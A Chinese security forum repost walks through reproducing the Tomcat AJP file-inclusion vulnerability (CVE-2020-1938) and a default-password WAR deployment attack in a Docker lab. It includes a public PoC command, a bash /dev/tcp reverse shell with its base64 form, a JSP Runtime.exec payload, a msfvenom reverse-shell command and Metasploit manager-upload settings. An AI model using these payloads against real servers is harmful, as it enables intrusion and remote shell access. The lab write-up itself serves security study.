安全矩阵

 找回密码
 立即注册
搜索
查看: 2766|回复: 0

CVE-2020-1938原理与复现

[复制链接]

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2021-9-30 13:37:40 | 显示全部楼层 |阅读模式
CVE-2020-1938原理与复现mathwizard 衡阳信安
来源:先知社区

CVE-2020-1938为Tomcat AJP文件包含漏洞。由长亭科技安全研究员发现的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件,例如可以读取 webapp配置文件或源码。
此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
漏洞原理Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。


tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性



因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path然后封装成对应的request之后,继续走servlet的映射流程如下


漏洞复现启动CVE-2020-1938的docker环境


首先使用poc进行漏洞检测,若存在漏洞则可以查看webapps目录下的所有文件
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lficd CNVD-2020-10487-Tomcat-Ajp-lfipython CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境


这里查看8009端口下的web.xml文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml


使用bash反弹shell
bash -i >& /dev/tcp/192.168.1.8/8888 0>&1
因为是java的原因所以需要转换一下,使用http://www.jackson-t.ca/runtime-exec-payloads.html,转换结果如下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
生成一个test.txt,这里只需要换payload就可以
<%    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("<pre>");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("</pre>");%>bp抓包把test.txt上传到docker容器


nc开启端口监听


即可获得一个交互型shell
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f test.txt


这里为了方便,上线到msf上进行操作,首先生成一个shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt


抓包将shell.txt上传到docker



msf开启监听,注意payload使用java/jsp_shell_reverse_tcp



再使用poc反弹即可上线
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f shell.txt


弱口令&war远程部署漏洞原理在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台
漏洞复现进入tomcat8的docker环境


访问后台管理地址,使用tomcat/tomcat进入后台
http://192.168.1.8:8080//manager/html


进入到了后台的页面



看到这里有一个上传war包的地方,这里很多java的中间件都可以用war远程部署来拿shell,tomcat也不例外



首先将ice.jsp打包成test.war
jar -cvf test.war .


点击上传即可看到上传的test.war已经部署成功



访问一下没有报错404那么应该已经上传成功



使用冰蝎连接即可得到shell



这里也可以用msf里面的exploit/multi/http/tomcat_mgr_upload模块
use exploit/multi/http/tomcat_mgr_uploadset HttpPassword tomcatset HttpUsername tomcatset rhost 192.168.1.8set rport 8080run


运行即可得到一个meterpreter



来源:先知社区

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:46 , Processed in 0.016800 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表